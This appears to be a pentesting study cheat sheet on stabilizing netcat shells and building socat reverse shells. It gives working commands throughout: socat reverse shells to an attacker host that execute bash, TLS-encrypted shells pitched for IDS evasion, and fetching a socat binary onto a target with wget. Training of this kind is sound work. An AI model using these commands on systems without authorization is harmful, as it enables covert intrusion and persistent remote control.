What the Shell?

Stabilizing Netcat Reverse/Bind Shells

Netcat shells are inherently unstable: non-interactive, no arrow keys/tab completion, weird formatting, and Ctrl+C kills the entire session. Here are the three main techniques to upgrade them into proper, usable shells:

Technique 1: Python Pty (Linux only – most common & reliable)

A 3-step process to get a nearly fully interactive Bash shell:

1. python -c 'import pty; pty.spawn("/bin/bash")'
   (or python3/python2 if needed) → spawns a better bash
2. export TERM=xterm → enables commands like clear
3. Press Ctrl+Z (backgrounds the shell) → in your local terminal run:
   stty raw -echo; fg → re-enters the shell with full interactivity (arrow keys, tab completion, Ctrl+C works normally)

Tip: If the shell dies afterward, your local terminal will be messed up (no echo). Just type reset and press Enter blindly to fix it.

Technique 2: rlwrap (Best for quick stabilization, works on both Linux & Windows)

• Install once on your attacker machine: sudo apt install rlwrap
• Start your listener with rlwrap prepended:
  rlwrap nc -lvnp <port>

Instantly gives you:

• Arrow keys
• Tab autocompletion
• Command history

For full Ctrl+C functionality on Linux, still do the Ctrl+Z → stty raw -echo; fg trick afterward.
Extremely useful for Windows reverse shells where other methods barely work.

Technique 3: Socat (Fully stable TTY – Linux only)

Use the initial netcat shell as a stepping stone to download and run a static socat binary:

1. Host the static socat binary on your attacker machine (e.g., python3 -m http.server 80)
2. On target (via netcat shell):
   wget http://<your-ip>/socat -O /tmp/socat or curl ...
3. Later you’ll catch a proper socat reverse shell (covered in upcoming tasks)

Result: A true PTY with perfect stability (better than netcat or even Python method).

Bonus: Fix terminal size for tools like vim/nano

Reverse shells don’t know your real terminal dimensions → editors look broken.

Fix:

• In a new local terminal: stty -a → note down rows and columns
• In the remote shell:
  stty rows <rows> cols <columns>

Do this after any stabilization method when you plan to use full-screen TUI apps.

Quick Reference Cheat Sheet

• Linux, best all-round → Python pty method
• Need it fast or on Windows → rlwrap listener
• Want the absolute best possible shell (Linux) → Upgrade to socat
• Always fix tty size with stty rows X cols Y when needed

These three techniques cover 99% of real-world netcat shell stabilization scenarios in pentesting.

Socat Cheat Sheet – Everything You Need for Stable & Encrypted Shells

Basic (Unstable) Shells – Similar to Netcat

These are still unstable (no Ctrl+C, no arrow keys, etc.).

Fully Stable Linux TTY Reverse Shell (The Holy Grail)

Attacker listener (run this first):

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socat TCP-L:<port> FILE:`tty`,raw,echo=0

Target (run this from your existing netcat shell – socat must exist on target):

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socat TCP:<attacker-ip>:<port> EXEC:"bash -li",pty,stderr,sigint,setsid,sane

Result → Instant, fully stable TTY:

• Real PTY
• Arrow keys + tab completion
• Ctrl+C works normally
• sudo, ssh, vim, nano all work perfectly
• Fix screen size if needed: stty rows <rows> cols <cols>

Tip: Most targets don’t have socat → upload a static compiled socat binary first (same method as previous task).

Encrypted Shells (Bypass IDS + No Sniffing)

1. Generate certificate (once, on attacker):

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openssl req -newkey rsa:2048 -nodes -keyout shell.key -x509 -days 362 -out shell.crt
cat shell.key shell.crt > shell.pem

2. Encrypted Reverse Shell (Linux example)

   • Attacker listener:

     1	socat OPENSSL-LISTEN:<port>,cert=shell.pem,verify=0 -

   • Target:

     1	socat OPENSSL:<attacker-ip>:<port>,verify=0 EXEC:"/bin/bash"

3. Encrypted Fully Stable TTY Reverse Shell (Linux only)

   • Attacker listener:

     1	socat OPENSSL-LISTEN:<port>,cert=shell.pem,verify=0 FILE:`tty`,raw,echo=0

   • Target:

     1	socat OPENSSL:<attacker-ip>:<port>,verify=0 EXEC:"bash -li",pty,stderr,sigint,setsid,sane

Key points:

• Certificate (.pem) is always used on the listener side
• verify=0 → don’t check if cert is trusted (required for self-signed)
• Works for bind shells too (just move the cert to the target for bind)

Debugging Socat

Add -d -d to either side for verbose output:

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socat -d -d TCP-L:443 FILE:`tty`,raw,echo=0

TL;DR – Best Choices in Practice

That’s it — with these, you’ll never suffer a crappy netcat shell again!